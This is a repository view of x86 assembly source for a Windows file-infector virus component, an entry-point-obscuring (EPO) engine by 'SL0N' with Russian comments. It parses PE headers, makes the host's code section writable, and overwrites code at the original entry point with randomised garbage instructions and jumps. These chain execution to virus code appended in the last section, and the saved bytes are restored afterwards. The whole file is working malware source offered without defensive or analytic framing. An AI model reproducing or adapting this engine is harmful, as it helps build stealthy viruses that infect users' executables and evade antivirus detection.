MalwareSourceCode/Win32/Infector/Virus.Win32.Spot.asm

535 lines
30 KiB
NASM
Raw Normal View History

2020-10-11 03:07:43 +00:00
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; [SIMPLE EPO TECHNIQUE ENGINE V. 0.1] ;
; ;
; ########### ########### ############ ############## ;
; ############# ############# ############## ############## ;
; ## ### ## ### ### ### ;
; ############ ############# ### ### ### ;
; ############ ############ ### ### ### ;
; ### ### ### ### ### ;
; ############# ### ############## ### ;
; ########### ### ############ ### ;
; ;
; FOR MS WINDOWS ;
; ;
; BY SL0N ;
;------------------------------------------------------------------------------;
; MANUAL: ;
; ADDRESS OF MAPPED FILE -> EDX ;
; ;
; CALL EPO ;
;------------------------------------------------------------------------------;
; MANUAL FOR RESTORE: ;
; CALL RESTORE ;
; ;
; ENTRY POINT -> EBX ;
;------------------------------------------------------------------------------;
; (+) DO NOT USE WIN API ;
; (+) EASY TO USE ;
; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES) ;
; (+) USE X87 INSTRUCTIONS ;
; (+) RANDOM NUMBER OF SPOTS ;
; (+) MUTABLE SPOTS ;
; (+) RANDOM LENGTH OF JUMP ;
;------------------------------------------------------------------------------;
epo:
push esi edi ; Сохраняем в стэке esi
; и edi
mov [ebp+map_address],edx ; Сохраняем адрес файла в
; памяти
call get_head ; Получаем PE заголовок
2020-10-11 03:07:43 +00:00
;
call search_eip ; Вычисляем новую точку
; входа
call find_code ; Ищем начало кода в этом
; файле
call spots ; Помещаем туда переход
; на вирус
pop edi esi ; Восстанавливаем из стэка
; edi и esi
ret ; Выходим из подпрограммы
2020-10-11 03:07:43 +00:00
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; PE HEADER SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; FILE IN MEMORY -> EDX ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
get_head:
; Подпрограмма получения
; PE заголовка
2020-10-11 03:07:43 +00:00
pusha ; Сохраняем всё в стэке
2020-10-11 03:07:43 +00:00
mov ebx,[edx + 3ch] ;
add ebx,edx ;
;
mov [ebp + PE_header],ebx ; сохраняем PE заголовок
2020-10-11 03:07:43 +00:00
mov esi,ebx ;
mov edi,esi ;
mov ebx,[esi + 28h] ;
mov [ebp + old_eip],ebx ; Сохраняем старую точку
; входа (eip)
2020-10-11 03:07:43 +00:00
mov ebx,[esi + 34h] ;
mov [ebp + image_base],ebx ; Сохраняем
; виртуальный адрес
; начала программы
popa ; Вынимаем всё из стэка
ret ; Выходим из подпрограммы
2020-10-11 03:07:43 +00:00
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; NEW ENTRY POINT SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
search_eip:
; Подпрограмма вычисления
; новой точки входа
2020-10-11 03:07:43 +00:00
pusha ; Сохраняем всё в стэке
2020-10-11 03:07:43 +00:00
mov esi,[ebp+PE_header] ; Кладём в esi указатель
; На PE заголовок
2020-10-11 03:07:43 +00:00
mov ebx,[esi + 74h] ;
shl ebx,3 ;
xor eax,eax ;
mov ax,word ptr [esi + 6h] ; Количество объектов
dec eax ; (нам нужен последний-1
mov ecx,28h ; заголовок секции)
mul ecx ; * размер заголовка
add esi,78h ; теперь esi указывает
add esi,ebx ; на начало последнего
add esi,eax ; заголовка секции
2020-10-11 03:07:43 +00:00
mov eax,[esi+0ch] ;
add eax,[esi+10h] ; Сохраняем новую точку
mov [ebp+new_eip],eax ; входа
2020-10-11 03:07:43 +00:00
popa ; Вынимаем всё из стэка
2020-10-11 03:07:43 +00:00
ret ; Выходим из подпрограммы
2020-10-11 03:07:43 +00:00
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; FIND START OF CODE SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
find_code:
; Подпрограмма поиска начала
; кода
2020-10-11 03:07:43 +00:00
mov esi,[ebp+PE_header] ; Кладём в esi указатель
; На PE заголовок
2020-10-11 03:07:43 +00:00
mov ebx,[esi + 74h] ;
shl ebx,3 ; Получаем
2020-10-11 03:07:43 +00:00
xor eax,eax ;
mov ax,word ptr [esi + 6h] ; Количество объектов
2020-10-11 03:07:43 +00:00
find2:
mov esi,edi ;
dec eax ;
push eax ; (нам нужен последний-1
mov ecx,28h ; заголовок секции)
mul ecx ; * размер заголовка
add esi,78h ; теперь esi указывает на
add esi,ebx ; начало последнего
; заголовка
add esi,eax ; секции
mov eax,[ebp+old_eip] ; В eax ложим точку входа
mov edx,[esi+0ch] ; В edx адрес куда будет
; мапиться
; текущая секция
cmp edx,eax ; Проверяем
pop eax ; Вынимаем из стэка eax
jg find2 ; Если больше ищем дальше
add edx,[esi+08h] ; Добавляем виртуальный
; размер секци
cmp edx,[ebp+old_eip] ; Проверяем
jl find2 ; Если меньше ищем дальше
mov edx,[esi+0ch] ; Далее вычисляем
; физическое
mov eax,[ebp+old_eip] ; смещение кода в файле
2020-10-11 03:07:43 +00:00
sub eax,edx ;
add eax,[esi+14h] ;
add eax,[ebp+map_address] ; И потом добавляем базу
; памяти
2020-10-11 03:07:43 +00:00
mov [ebp+start_code],eax ; Сохраняем начало кода
2020-10-11 03:07:43 +00:00
or [esi + 24h],00000020h or 20000000h or 80000000h
; Меняем аттрибуты
; кодовой секции
2020-10-11 03:07:43 +00:00
mov eax,[esi+08] ; Вычисляем размер
sub eax,[ebp+old_eip] ; той части кодовой секции,
mov edx,[esi+10h] ; где можно размещать
sub edx,eax ; пятна
2020-10-11 03:07:43 +00:00
mov [ebp+size_for_spot],edx ;
ret ; Возврат из процедуры
2020-10-11 03:07:43 +00:00
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
spots:
; Подпрограмма генерации
; пятен
2020-10-11 03:07:43 +00:00
mov ecx,1 ; Кладём в ecx единицу
2020-10-11 03:07:43 +00:00
;
call reset ; Подготавливаем данные
call num_spots ; Генерируем случайное число
; это будет кол-во пятен
2020-10-11 03:07:43 +00:00
tred:
call save_bytes ; Сохраняем затираемы байты
call gen_spot ; Генерируем пятно
2020-10-11 03:07:43 +00:00
inc ecx ; Увеличиваем ecx на единицу
cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы
jne tred ; Если нет, то генерируем
2020-10-11 03:07:43 +00:00
call save_bytes ; Сохраняем последние байты
call gen_final_spot ; И генерируем последнее
; пятно
ret ; Возврат из процедуры
2020-10-11 03:07:43 +00:00
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_spot:
; Подпрограмма генерации
; одного пятна
2020-10-11 03:07:43 +00:00
push eax ecx ; Сохраняем eax и ecx
2020-10-11 03:07:43 +00:00
call len_sp_jmp ; Получаем случайную длину
xchg eax,ebx ; прыжка пятна
2020-10-11 03:07:43 +00:00
call testing ; Проверяем, чтобы пятно
jc quit2 ; не выходило за кодовую
; секцию
2020-10-11 03:07:43 +00:00
push ebx
xor bx,bx
dec bx
mov ecx,[ebp+num1] ; Генерируем первую партию
call garbage ; мусора
2020-10-11 03:07:43 +00:00
pop ebx
mov al,0e9h ;
stosb ;
mov eax,0 ; Генерируем jmp
2020-10-11 03:07:43 +00:00
add eax,ebx ;
add eax,ecx ;
stosd ;
push ebx
xor bx,bx
dec bx
mov ecx,[ebp+num2] ; Генерируем вторую партию
call garbage ; мусора
2020-10-11 03:07:43 +00:00
pop ebx
sub edi,[ebp+num2] ;
add edi,[ebp+num1] ; Корректируем edi
2020-10-11 03:07:43 +00:00
add edi,ebx ;
quit2:
pop ecx eax ; Восстанавливаем ecx и eax
2020-10-11 03:07:43 +00:00
ret ; Возврат из подпрограммы
2020-10-11 03:07:43 +00:00
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; LAST SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_final_spot:
; Подпрограмма генерации
; финального пятна
2020-10-11 03:07:43 +00:00
push eax ecx ; Сохраняем eax и ecx
2020-10-11 03:07:43 +00:00
jc not_big ; Если длина не превышает
inc [ebp+n_spots] ; размера кодовой секции, то
not_big: ; Увеличим кол-во пятен
mov ecx,[ebp+num1] ; Генерируем мусорные
call garbage ; инструкции
2020-10-11 03:07:43 +00:00
push edi ; Сохраняем edi
sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a
mov ebx,edi ; для последнего пятна
pop edi ; Восстанавливаем edi
2020-10-11 03:07:43 +00:00
mov al,0e9h ;
stosb ;
mov eax,0 ;
sub eax,5 ; Генерируем финальное
sub eax,ebx ; пятно
2020-10-11 03:07:43 +00:00
add eax,[ebp+new_eip] ;
sub eax,[ebp+old_eip] ;
stosd ;
mov ecx,[ebp+num2] ; Генерируем вторую партию
call garbage ; мусорных инструкций
2020-10-11 03:07:43 +00:00
pop ecx eax ; Восстанавливаем ecx и eax
ret ; Возврат из подпрограммы
2020-10-11 03:07:43 +00:00
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; ADDRESS OF SAVING BYTES -> EDI ;
; QUANTITY OF BYTES -> EBX ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
save_bytes:
; Подпрограмма сохранения
; заменяемых байт
pusha ; Сохраняем всё в стэке
call length1 ; Генерируем длины мусорных
; инструкций
mov ebx,[ebp+num1] ; Помещаем в ebx первую
add ebx,[ebp+num2] ; и вторую длины
add ebx,5 ; Добавляем к ebx - 5
mov esi,edi ; Сохраняем в буфере с
mov edi,[ebp+pointer] ; начала смещение в памяти
mov eax,esi ; на сохраняемые байты
2020-10-11 03:07:43 +00:00
stosd ;
mov ecx,ebx ; После этого сохраняем в
mov eax,ecx ; буфере кол-во сохраняемых
stosd ; байт
2020-10-11 03:07:43 +00:00
rep movsb ; И в самом конце сохраняем
mov [ebp+pointer],edi ; в буфере сами байты
2020-10-11 03:07:43 +00:00
;
popa ; Вынимаем всё из стэка
ret ; Возврат из подпрограммы
2020-10-11 03:07:43 +00:00
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESTORE SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; OLD ENTRY POINT -> EBX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
restore:
; Подпрограмма
; восстановления сохранённых
; байт
2020-10-11 03:07:43 +00:00
cld ; Поиск вперёд
lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер
mov edx,1 ; В edx кладём - 1
2020-10-11 03:07:43 +00:00
not_enough:
mov edi,[ebp+old_eip] ; В edi загружаем точку
add edi,[ebp+image_base] ; входа
mov ebx,edi ; Сохраняем edi в ebx
lodsd ; В eax старое смещение
; байт в памяти
sub eax,[ebp+start_code] ; Отнимаем смещение начала
; кода и добавляем
add edi,eax ; точку входа
lodsd ; Загружаем в eax кол-во
mov ecx,eax ; байт и кладём их в ecx
rep movsb ; Перемещаем оригинальные
; байты на старое место
inc edx ; Переходим к следующему
cmp edx,[ebp+n_spots] ; пятну
jl not_enough ; если не все пятна вернули,
; то восстанавливаем дальше
2020-10-11 03:07:43 +00:00
quit: ;
ret ; Возврат из процедуры
2020-10-11 03:07:43 +00:00
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; LENGTH SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
length1:
; Подпрограмма генерации
; длин мусорных инструкций
2020-10-11 03:07:43 +00:00
mov eax,20 ;
call brandom32 ; Генерируем случайное число
test eax,eax ; в диапазоне 1..19
2020-10-11 03:07:43 +00:00
jz length1 ;
mov [ebp+num1],eax ; Сохраняем его в переменную
2020-10-11 03:07:43 +00:00
rand2:
mov eax,20 ;
call brandom32 ; Генерируем случайное число
test eax,eax ; в диапазоне 1..19
2020-10-11 03:07:43 +00:00
jz rand2 ;
mov [ebp+num2],eax ; Сохраняем его в вторую
; переменную
ret ; Возврат из процедуры
2020-10-11 03:07:43 +00:00
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESET SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
reset:
; Подпрограмма инициализации
; переменных
2020-10-11 03:07:43 +00:00
mov edi,[ebp+start_code] ;
;
push esi ; Инициализируем переменные
2020-10-11 03:07:43 +00:00
lea esi,[ebp+rest_bytes] ;
mov [ebp+pointer],esi ;
pop esi ;
ret ; Возврат из процедуры
2020-10-11 03:07:43 +00:00
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT JUMP LENGTH GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; LENGTH OF SPOT JUMP -> EAX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
len_sp_jmp:
; Подпрограмма генерации
; длины прыжка
2020-10-11 03:07:43 +00:00
mov eax,150 ;
call brandom32 ; Генерируем случайное число
cmp eax,45 ; в диапазоне 45..149
2020-10-11 03:07:43 +00:00
jle len_sp_jmp ;
ret ; Возврат из процедуры
2020-10-11 03:07:43 +00:00
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS NUMBER GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
num_spots:
; Подпрограмма генерации
; количества пятен
2020-10-11 03:07:43 +00:00
pusha ; Сохраняем всё в стэке
2020-10-11 03:07:43 +00:00
mov eax,40 ; Генерируем случайное число
call brandom32 ; в диапазоне 1..40
inc eax ; И сохраняем его в
mov [ebp+n_spots],eax ; переменной
2020-10-11 03:07:43 +00:00
popa ; Вынимаем всё из стэка
ret ; Возврат из процедуры
2020-10-11 03:07:43 +00:00
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; TESTING SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; CARRY FLAG ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
testing:
; Подпрограмма проверки
; попадения в границу секции
push edi eax ; Сохраняем edi eax в стэке
add edi,[ebp+num1] ; Добавим к edi 1-ую длину
; мусорных инструкций
add edi,[ebp+num2] ; После этого добавим 2-ую
add edi,300 ; И добавим число в которое
; входит максимальный размер
; пятна + длина его прыжка
mov eax,[ebp+size_for_spot] ; В eax загрузим размер
; места для пятен и смещение
add eax,[ebp+start_code] ; в памяти точки входа
cmp edi,eax ; Сравним eax и edi
clc ; Сбросим carry флаг
jl m_space ; Если edi меньше, то все
; хорошо
mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем
inc [ebp+n_spots] ; количество пятен и
stc ; устанавливаем carry флаг
2020-10-11 03:07:43 +00:00
m_space:
pop eax edi ; Вынимаем eax и edi
ret ; Возврат из процедуры
2020-10-11 03:07:43 +00:00
;------------------------------------------------------------------------------;
pointer dd 0 ;
n_spots dd 0 ;
;
num1 dd 0 ;
num2 dd 0 ;
; Данные необходимые для
PE_header dd 0 ; работы мотора
2020-10-11 03:07:43 +00:00
old_eip dd 0 ;
image_base dd 0 ;
start_code dd 0 ;
new_eip dd 0 ;
map_address dd 0 ;
size_for_spot dd 0 ;
rest_bytes: db 2100 dup (?) ;
;------------------------------------------------------------------------------;